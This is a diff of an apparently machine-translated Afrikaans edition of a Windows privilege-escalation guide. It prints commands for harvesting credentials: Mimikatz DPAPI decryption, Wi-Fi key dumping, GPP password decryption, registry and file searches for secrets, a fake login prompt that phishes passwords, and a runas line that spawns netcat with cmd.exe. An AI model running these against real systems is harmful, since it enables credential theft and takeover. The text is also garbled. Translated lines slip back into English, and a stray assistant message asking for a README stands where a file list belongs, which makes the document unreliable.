`runas` met 'n verskafde stel credential. +Gebruik van `runas` met 'n voorsiene stel credentials. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Neem kennis dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), of die [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -Die **Data Protection API (DPAPI)** verskaf 'n metode vir simmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-operatingstelsel vir die simmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van 'n gebruiker- of stelselgeheim wat beduidend tot entropie bydra. +Die **Data Protection API (DPAPI)** bied 'n metode vir symmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die symmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van 'n gebruiker- of stelselgeheim om aansienlik by te dra tot entropie. -**DPAPI maak die enkripsie van sleutels deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime moontlik**. In scenario's wat stelsel-enkripsie betrek, gebruik dit die stelsel se domein-verifikasiegeheime. +**DPAPI maak die enkripsie van sleutels moontlik deur 'n symmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsel-enkripsie behels, gebruik dit die stelsel se domeinverifikasiegeheime. -Versleutelde gebruikers-RSA-sleutels wat DPAPI gebruik, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) voorstel. **Die DPAPI-sleutel, wat saam met die meester-sleutel wat die gebruiker se private sleutels in dieselfde lêer beskerm, gekoppel is**, bestaan gewoonlik uit 64 bytes ewekansige data. (Dit is belangrik om op te let dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud met die `dir` opdrag in CMD gelys word, alhoewel dit via PowerShell gelys kan word). +Versleutelde gebruikers-RSA-sleutels, deur DPAPI gebruik, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) voorstel. **Die DPAPI-sleutel, wat saam met die master-sleutel wat die gebruiker se private sleutels in dieselfde lêer beskerm, saamgeberg is**, bestaan tipies uit 64 bytes ewekansige data. (Dit is belangrik om te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud via die `dir` opdrag in CMD gelys kan word, alhoewel dit deur PowerShell gelys kan word). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -779,19 +786,19 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Jy kan **mimikatz module** `dpapi::cred` met die toepaslike `/masterkey` gebruik om te ontsleutel. -Jy kan **baie DPAPI** **masterkeys** uit **geheue** uittrek met die `sekurlsa::dpapi` module (as jy root is). +Jy kan die **mimikatz module** `dpapi::cred` gebruik met die toepaslike `/masterkey` om te ontsleutel.\ +Jy kan **ekstrakteer baie DPAPI** **masterkeys** uit **memory** met die `sekurlsa::dpapi` module (as jy root is). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell-credentials +### PowerShell Inlogbewyse -**PowerShell-credentials** word dikwels gebruik vir **skripte** en outomatiseringstake as 'n manier om enkripteerde inloginligting gerieflik te stoor. Die inloginligting word beskerm deur **DPAPI**, wat gewoonlik beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar ontsleutel kan word waarop dit geskep is. +**PowerShell-inlogbewyse** word dikwels gebruik vir **scripting** en outomatiseringstake as 'n manier om geïnkripteerde inlogbewyse gerieflik te stoor. Die inlogbewyse word beskerm deur **DPAPI**, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waar hulle geskep is, ontsleutel kan word. -Om 'n PS-credential uit die lêer wat dit bevat te **ontsleutel** kan jy die volgende doen: +Om 'n PS-inlogbewys uit die lêer wat dit bevat te **ontsleutel** kan jy die volgende doen: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -802,7 +809,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -811,34 +818,34 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Gestoor RDP-verbindinge +### Gestoorde RDP-verbindinge -Jy kan hulle vind by `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Jy kan hulle vind op `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ en in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Onlangs uitgevoerde opdragte +### Onlangs uitgevoerde kommando's ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Afstandslessenaar Geloofsbriewe-bestuurder** +### **Beheerder van Remote Desktop-inlogbewyse** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Gebruik die **Mimikatz** `dpapi::rdg` module met die toepaslike `/masterkey` om **enige .rdg-lêers te ontsleutel**\ -Jy kan **baie DPAPI masterkeys** uit die geheue onttrek met die Mimikatz `sekurlsa::dpapi` module +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +Jy kan **veel DPAPI masterkeys** uit geheue uittrek met die Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om **wagwoorde te stoor** en ander inligting, sonder om te besef dat dit 'n databasislêer is. Hierdie lêer is geleë by `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en is altyd die moeite werd om na te soek en te ondersoek. +Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om **wagwoorde te stoor** en ander inligting, sonder om te besef dit is 'n databasislêer. Hierdie lêer is geleë by `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en dit is altyd die moeite werd om daarna te soek en dit te ondersoek. ### AppCmd.exe -**Neem kennis dat om wagwoorde uit AppCmd.exe te herstel, jy Administrator moet wees en dit op 'n High Integrity-vlak moet laat loop.**\ +**Let wel dat om wagwoorde van AppCmd.exe te herstel, moet jy Administrator wees en onder 'n High Integrity level hardloop.**\ **AppCmd.exe** is geleë in die `%systemroot%\system32\inetsrv\` directory.\ -As hierdie lêer bestaan, is dit moontlik dat sekere **credentials** gekonfigureer is en **hersteld** kan word. +As hierdie lêer bestaan, is dit moontlik dat sekere **credentials** gekonfigureer is en **recovered** kan word. -Hierdie kode is onttrek uit [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -919,15 +926,15 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan .\ -Installers word **met SYSTEM privileges uitgevoer**, baie is kwesbaar vir **DLL Sideloading (Info van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Installers word **run with SYSTEM privileges**, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Lêers en Register (Inlogbewyse) +## Lêers en Registry (Credentials) -### Putty-inlogbewyse +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -935,21 +942,21 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH-sleutels in die register +### SSH keys in registry -SSH private sleutels kan in die registersleutel `HKCU\Software\OpenSSH\Agent\Keys` gestoor word, daarom moet jy nagaan of daar iets interessant daarin is: +SSH private sleutels kan binne die registrasiesleutel `HKCU\Software\OpenSSH\Agent\Keys` gestoor word, dus behoort jy te kyk of daar iets interessant daarin is: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -As jy enige inskrywing binne daardie pad vind, is dit waarskynlik 'n gestoorde SSH key. Dit is versleuteld gestoor, maar kan maklik gedekripteer word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +As jy enige inskrywing binne daardie pad vind, is dit waarskynlik 'n gestoor SSH key. Dit word versleuteld gestoor, maar kan maklik ontsleutel word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Indien die `ssh-agent` service nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer dan die volgende uit: +As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties op opstart begin, voer uit: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh keys te skep, dit met `ssh-add` by te voeg en via ssh by 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutel-outentisering geïdentifiseer nie. +> Dit lyk asof hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh keys te skep, dit by te voeg met `ssh-add` en via ssh by 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutel-authentisering geïdentifiseer nie. ### Onbewaakte lêers ``` @@ -968,7 +975,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` Jy kan ook na hierdie lêers soek met **metasploit**: _post/windows/gather/enum_unattend_ -Voorbeeldinhoud: +Voorbeeld inhoud: ```xml @@ -987,7 +994,7 @@ Voorbeeldinhoud: ``` -### SAM & SYSTEM rugsteune +### SAM & SYSTEM rugsteunkopieë ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -997,7 +1004,7 @@ Voorbeeldinhoud: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Wolkbewyse +### Cloud-toegangsbewyse ```bash #From user home .aws\credentials @@ -1009,13 +1016,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -### Gekasheerde GPP-wagwoord +Soek na 'n lêer genaamd **SiteList.xml** -Daar was voorheen 'n funksie beskikbaar wat die implementering van pasgemaakte plaaslike administrateurrekeninge op 'n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), gestoor as XML-lêers in SYSVOL, deur enige domeingebruiker benader word. Tweedens kon die wagwoorde binne hierdie GPPs, wat met AES256 en 'n publiek gedokumenteerde standaard sleutel versleuteld is, deur enige geauthentiseerde gebruiker gedekripteer word. Dit het 'n ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde voorregte te verkry. +### Gecachte GPP-wagwoord -Om hierdie risiko te versag is 'n funksie ontwikkel wat soek na plaaslik gekasheerde GPP-lêers wat 'n "cpassword"-veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, dekripteer die funksie die wagwoord en gee 'n pasgemaakte PowerShell-objek terug. Hierdie objek bevat besonderhede oor die GPP en die lêer se ligging, wat help met die identifikasie en remediëring van hierdie sekuriteitskwetsbaarheid. +Daar was voorheen 'n funksie beskikbaar wat die uitrol van pasgemaakte plaaslike administratorrekeninge op 'n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lêers in SYSVOL gestoor is, deur enige domeingebruiker bereik word. Tweedens kon die wagwoorde binne hierdie GPPs, wat met AES256 en 'n publiek gedokumenteerde standaard sleutel geënkripteer is, deur enige geauthentiseerde gebruiker ontsleutel word. Dit het 'n ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde regte te verkry. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor Windows Vista)_ for these files: +Om hierdie risiko te beperk is 'n funksie ontwikkel om plaaslik gecachte GPP-lêers te skandeer wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontsleutel die funksie die wagwoord en gee 'n pasgemaakte PowerShell-object terug. Hierdie object sluit besonderhede oor die GPP en die lêer se ligging in en help by die identifisering en hantering van hierdie sekuriteitskwessie. + +Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor Windows Vista)_ vir hierdie lêers: - Groups.xml - Services.xml @@ -1024,7 +1033,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**Om die cPassword te dekripteer:** +**Om die cPassword te ontsleutel:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1033,7 +1042,7 @@ Gebruik crackmapexec om die passwords te kry: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### IIS Webkonfigurasie ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1057,7 +1066,7 @@ Voorbeeld van web.config met credentials: ``` -### OpenVPN inlogbesonderhede +### OpenVPN inlogbewyse ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1077,7 +1086,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### Loglêers ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1087,7 +1096,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Vra vir credentials -Jy kan altyd **die gebruiker vra om sy credentials of selfs die credentials van 'n ander gebruiker in te voer** as jy dink hy kan dit weet (let wel dat om die kliënt direk te **vra** vir die **credentials** regtig **riskant** is): +Jy kan altyd **die gebruiker vra om sy credentials in te voer of selfs die credentials van 'n ander gebruiker** as jy dink hy kan hulle ken (let wel dat dit regtig **riskant** is om die kliënt direk om die **credentials** te vra): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1095,7 +1104,7 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Moontlike lêersname wat credentials bevat** +### **Moontlike lêername wat credentials bevat** Bekende lêers wat 'n tyd gelede **passwords** in **clear-text** of **Base64** bevat het ```bash @@ -1161,7 +1170,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Ek het nie toegang tot jou lêerstelsel of projekte nie, so ek kan nie die lêer automatisch soek of oopmaak nie. Stuur asseblief die inhoud van src/windows-hardening/windows-local-privilege-escalation/README.md (of 'n lys van die voorgenome lêers), en ek sal dit in Afrikaans vertaal terwyl ek markdown, tags, links en paths presies soos hulle is ongewysig laat. +I don't have the contents of src/windows-hardening/windows-local-privilege-escalation/README.md or the proposed files to search. Please paste the README.md (or the list of files) you want translated/searched, and I'll translate the relevant English text to Afrikaans per your guidelines. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1170,15 +1179,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Inlogbewyse in die RecycleBin +### Credentials in the RecycleBin -Jy moet ook die Bin nagaan om te kyk vir inlogbewyse daarin +Jy moet ook die Bin nagaan om te soek na credentials daarin -Om **wagwoorde te herkry** wat deur verskeie programme gestoor is, kan jy gebruik: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Vir die **recover passwords** wat deur verskeie programme gestoor is, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Binne die register +### Inside the registry -**Ander moontlike registersleutels met inlogbewyse** +**Ander moontlike registry keys met credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1189,10 +1198,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Blaaiergeskiedenis -Jy moet na dbs soek waar wagwoorde van **Chrome or Firefox** gestoor word. -Kontroleer ook die geskiedenis, boekmerkies en gunstelinge van die blaaiers — dalk word daar **wagwoorde** gestoor. +Jy moet soek na databasisse waarin wagwoorde van **Chrome or Firefox** gestoor word. Kontroleer ook die geskiedenis, bladmerke en gunstelinge van die blaaiers — moontlik is sommige **wagwoorde** daar gestoor. -Tools to extract passwords from browsers: +Gereedskap om wagwoorde uit blaaiers te onttrek: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1201,37 +1209,37 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -**Component Object Model (COM)** is 'n tegnologie ingebou in die Windows operating system wat interkommunikasie tussen sagtewarekomponente in verskillende tale moontlik maak. Elke COM-komponent word **identified via a class ID (CLSID)** en elke komponent bied funksionaliteit via een of meer interfaces, geïdentifiseer via interface IDs (IIDs). +**Component Object Model (COM)** is 'n tegnologie ingebou in die Windows-bedryfstelsel wat **interkommunikasie** tussen sagtewarekomponente in verskillende tale toelaat. Elke COM-komponent word **identified via a class ID (CLSID)** en elke komponent openbaar funksionaliteit via een of meer interfaces, geïdentifiseer via interface IDs (IIDs). -COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM classes and interfaces word in die register gedefinieer onder **HKEY\CLASSES\ROOT\CLSID** en **HKEY\CLASSES\ROOT\Interface** onderskeidelik. Hierdie register word geskep deur die samestelling van die **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +Inside the CLSIDs of this registry kan jy die child registry **InProcServer32** vind wat 'n **default value** bevat wat na 'n **DLL** wys, en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) of **Neutral** (Thread Neutral) kan wees. ![](<../../images/image (729).png>) -Kortom, as jy enige van die **overwrite any of the DLLs** wat uitgevoer gaan word kan oorskryf, kan jy **escalate privileges** indien daardie DLL deur 'n ander gebruiker uitgevoer gaan word. +Basies, as jy die vermoë het om **overwrite any of the DLLs** wat uitgevoer gaan word, kan jy **escalate privileges** indien daardie DLL deur 'n ander gebruiker uitgevoer sal word. -Om te sien hoe aanvallers COM Hijacking as 'n persistence-meganisme gebruik, kyk: +Om te leer hoe aanvallers COM Hijacking as 'n persistence mechanism gebruik, kyk: {{#ref}} com-hijacking.md {{#endref}} -### **Algemene wagwoordsoektog in lêers en registry** +### **Generiese wagwoordsoektog in lêers en register** -Soek na lêerinhoud +**Soek na lêerinhalte** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Soek 'n lêer met 'n sekere lêernaam** +**Soek na 'n lêer met 'n bepaalde lêernaam** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Soek die register vir sleutelname en wagwoorde** +**Soek die register na sleutelname en wagwoorde** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1240,11 +1248,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Gereedskap wat na passwords soek -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is 'n msf** plugin Ek het hierdie plugin geskep om **automaties elke metasploit POST module wat na credentials soek uit te voer** binne die slagoffer.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST-module wat na credentials binne die slagoffer soek, uit te voer.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat passwords bevat wat op hierdie bladsy genoem word.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is nog 'n uitstekende tool om password uit 'n stelsel te onttrek. +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is nog 'n uitstekende gereedskap om passwords uit 'n stelsel te onttrek. -Die tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessions**, **usernames** en **passwords** van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP) +Die gereedskap [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessions**, **usernames** en **passwords** van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1253,30 +1261,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses oopmaak** (`OpenProcess()`) met **full access**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met low privileges maar wat al die open handles van die hoofproses erf**.\ -Dan, as jy **full access to the low privileged process** het, kan jy die **open handle na die geprivilegieerde proses wat geskep is** met `OpenProcess()` gryp en **inject a shellcode**.\ -[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te identifiseer en uit te buit**.](leaked-handle-exploitation.md)\ -[Lees hierdie **ander artikel vir 'n meer volledige verduideliking oor hoe om meer open handlers van prosesse en threads te toets en misbruik wat met verskillende vlakke van permissies geërf word (nie net full access nie)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses open** (`OpenProcess()`) met **volle toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat alle oop handles van die hoofproses erven**.\ +Dan, as jy **volle toegang tot die lae-voorregte proses** het, kan jy die **oop handle na die geprivilegieerde proses wat met `OpenProcess()` geskep is** gryp en **'n shellcode injekteer**.\ +[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te ontdek en te misbruik**.](leaked-handle-exploitation.md)\ +[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om meer oop handles van prosesse en stringe wat geërf is met verskillende toestemmingsvlakke (nie net volle toegang) te toets en te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Gedeelde geheue-segmente, bekend as **pipes**, maak proseskommunikasie en data-oordrag moontlik. +Gedeelde geheue-segmente, verwys na as **pipes**, maak proseskommunikasie en data-oordrag moontlik. -Windows bied 'n funksie genaamd **Named Pipes**, wat toelaat dat ongekoppelde prosesse data deel, selfs oor verskillende netwerke. Dit lyk soos 'n client/server-argitektuur, met rolle gedefinieer as **named pipe server** en **named pipe client**. +Windows bied 'n funksie genaamd **Named Pipes**, wat dit moontlik maak dat nie-verwante prosesse data deel, selfs oor verskillende netwerke. Dit lyk soos 'n client/server-argitektuur, met rolle gedefinieer as **named pipe server** en **named pipe client**. -Wanneer data deur 'n **client** deur 'n pipe gestuur word, het die **server** wat die pipe opgestel het die vermoë om die **identiteit aan te neem** van die **client**, mits dit die nodige **SeImpersonate** regte het. Om 'n **geprivilegieerde proses** te identifiseer wat via 'n pipe kommunikeer wat jy kan naboots, bied die geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy opgestel het interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, vind nuttige gidse [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system). +Wanneer data deur 'n buis deur 'n **client** gestuur word, het die **server** wat die buis opgestel het die vermoë om die **identiteit** van die **client** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **geprivilegieerde proses** te identifiseer wat via 'n buis kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem wanneer dit met die buis wat jy opgestel het interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, is nuttige gidse beskikbaar [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system). -Ook laat die volgende tool toe om **'n named pipe-kommunikasie te onderskep met 'n tool soos burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie tool laat toe om al die pipes te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ook maak die volgende hulpmiddel dit moontlik om **'n named pipe-kommunikasie te onderskep met 'n hulpmiddel soos burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel maak dit moontlik om alle pipes te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Diverses +## Diverse -### Lêeruitbreidings wat dalk dinge in Windows kan uitvoer +### Lêeruitbreidings wat dinge in Windows kan uitvoer Kyk na die bladsy **[https://filesec.io/](https://filesec.io/)** -### **Monitering van opdragreëls vir wagwoorde** +### **Monitering van Command Lines vir wagwoorde** -Wanneer jy 'n shell as 'n gebruiker kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat **credentiales op die opdragreël deurgee**. Die skrip hieronder vang proses-opdragreëls elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit. +Wanneer jy 'n shell as 'n gebruiker kry, 